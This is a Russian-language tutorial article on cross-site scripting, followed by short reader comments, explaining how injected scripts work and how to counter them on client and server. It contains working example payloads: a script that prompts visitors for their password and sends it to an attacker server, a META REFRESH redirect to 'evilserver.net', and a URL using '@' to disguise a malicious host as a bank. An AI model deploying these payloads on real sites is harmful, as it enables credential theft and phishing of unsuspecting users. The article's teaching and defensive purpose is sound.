Взломы с использованием внедрения сценариев
Одним из слабых мест клиентов Web-приложений, является возможность внедрения сценариев (cross-site scripting). В основе взломов данного типа лежит внедрение сценариев на сервер, которые впоследствии используют для выполнения команд на машине клиента через его браузер. Выполнение кода на машине клиента является наиболее вероятным результатом взлома такого типа. При небольших доработках программа, осуществляющая подобный взлом, может собирать данные о всех пользователях, посещавших этот узел.
Лучшим способом объяснения принципа взломов данного типа будет пример, описывающий поиск и использование таких слабых мест или «дыр». Внедрение сценария возможно в тех случаях, когда последующим пользователям доступны данные, введенные предшествующими пользователями, например, гостевая книга, где каждый пользователь может видеть имена других пользователей, зарегистрировавшихся ранее. Простейший путь проверки узла на наличие опасности такого типа — ввод следующего текста в поле ввода Web-страницы.
<script type="text/javascript">alert("Hello");</script> |
В примере используется дескриптор <SCRIPT>, но также могут использоваться дескрипторы <object>, <applet> и <embed>. Web-браузер пользователя, посетившего гостевую книгу, встретив в тексте страницы запись, сделанную предыдущим пользователем, выполнит этот код. В приведенном примере сценарий JavaScript, введенный первым пользователем, у последующих посетителей будет вызывать появление простого окна с надписью Hello.
Если этот нехитрый трюк сработал, появляется реальная возможность проведения полноценного взлома с использованием внедренных сценариев. Для этого хакеру необходимо создать специальный сервер с соответствующим программным обеспечением, который будет проводить сбор информации о посетителях узла. Ниже представлен пример сценария, который мог бы обманным путем получать пароли пользователя.
<script type="text/javascript">var password=prompt ('Your session has expired. Please enter your password to continue.', ''); location.href="https://10.1.1.1/pass.cgi?passwd='+password; </script> |
Как видно из примера, на специальном сервере с адресом 10.1.1.1 находится сценарий pass.cgi, предназначенный для получения паролей пользователя и возвращения ответов пользователю. При этом в браузере появляется диалоговое окно ввода пароля.
Приведенный пример достаточно прост На практике же используются такие серьезные методы, как похищение файлов cookie, а также более изощренные технологии сбора информации.
Для проведения взлома с использованием перекрестных сценариев могут использоваться также дескрипторы <МЕТА REFRESH> и <IFRAME>. Дескриптор <МЕТА REFRESH> может использоваться для переадресации браузера пользователя на другой Web-узел. Таким образом, если злоумышленник смог внедрить в страницу свой код, содержащий дескриптор <МЕТА REFRESH>, то он может заставить браузер пользователя переходить на любую нужную ему страницу, этот дескриптор выглядит следующим образом:
< МЕТА HTTP-EQUIV=Refresh CONTENT="10; URL=http://evilserver.net/"> |
Дескриптор <IFRAME> создает в окне браузера новый кадр, который может быть использован для исполнения любого активного содержимого или переадресации на любой другой адрес.
Кроме того, для автоматического перенаправления браузера пользователя на другой узел можно использовать следующий прием:
http://bigbank.com/script.asp&account=123@evilsite.com |
На первый взгляд, данный URL-адрес ведет на страницу bigbank.com, однако, если посмотреть внимательно, в адресе можно заметить символ @, который указывает браузеру игнорировать всю левую часть строки. После этого символа находится реальный адрес, на который попадает пользователь после щелчка на такой ссылке, а левая часть URL будет воспринята браузером, как имя пользователя (дело в том, что многие узлы используют стандартный синтаксис URL вида http://имя:пароль@адрес.узла).
Очевидно, что для успешного проведения взлома необходимо заставить пользователя совершить такие действия, как щелчок по определенной ссылке или переход на определенную Web-страницу, в которую ранее был внедрен вредоносный код. Вероятно, по этой причине использование взломов такого типа выглядит слишком сложным, а вероятность успешного взлома может показаться слишком низкой, однако не следует забывать, что многие крупные компании, работающие в Internet (например, E*TRADE), когда-то стали жертвами взломов с использованием внедренных сценариев. Поэтому приведенные факты должны заставить задуматься системных администраторов крупных компаний о безопасности.
Меры противодействия, выполняемые на стороне клиента
Для устранения опасности взлома с помощью активного содержимого пользователю рекомендуется отключать в браузере поддержку Active Scripting, что позволит избежать взломов при посещении Web-узлов и получении писем с опасным содержимым, с помощью которого хакер может легко получить любую информацию с машины пользователя.
Также, если возможности браузера позволяют это сделать, необходимо отключить исполнение HTML-дескрипторов <МЕТА REFRESH> и <IFRAME>.
И, как сказано в публикациях службы Computer Emergency Response Team (CERT) (раздел «Дополнительная информация»), для уменьшения риска взлома с помощью активного содержимого пользователям рекомендуется воздерживаться от «беспорядочного просмотра Web-страниц». Дикое наставление, особенно сейчас, раньше как-то оно еще имело смысл. Тем не менее, сегодня средний пользователь Internet должен понимать, что щелчок по ссылке на страницу или просмотр Web-страницы или электронного письма, в котором используется HTML при включенной у пользователя поддержке ActiveX, может привести к достаточно плачевным результатам.
Меры противодействия, выполняемые на стороне сервера
При создании Web-приложений разработчики всегда должны помнить о проверке данных, вводимых пользователем. По крайней мере, обязательно нужно отфильтровывать из данных, вводимых пользователем, угловые скобки < и >, которые можно использовать для внедрения активного содержимого. Это позволит избежать ввода хакерами в страницу активного содержимого (сценариев), которое может быть использовано для похищения важной информации.
Дополнительную информацию о возможностях взлома с помощью внедрения сценариев можно узнать на Web-узле службы Computer Emergency Response Team no адресу: http://www.cert.org/ (см. www.cert.org).
Твитнуть
Обычно, на сайтах есть тег nosctipt. Который запрещает внедрение Ява, как, например — Вконтакте.
не совсем так, теги используются для того чтоб выводить сообщение о том что браузер не поддерживает скрипты…
Спасибо за ценную информацию, вообще безопасность всегда должна быть на высшем уровне, но в то же время, только хакеры-ламеры не обойдут её!
Интересно. Буду знать.
Интересно. Буду знать.
Интересно. Буду знать.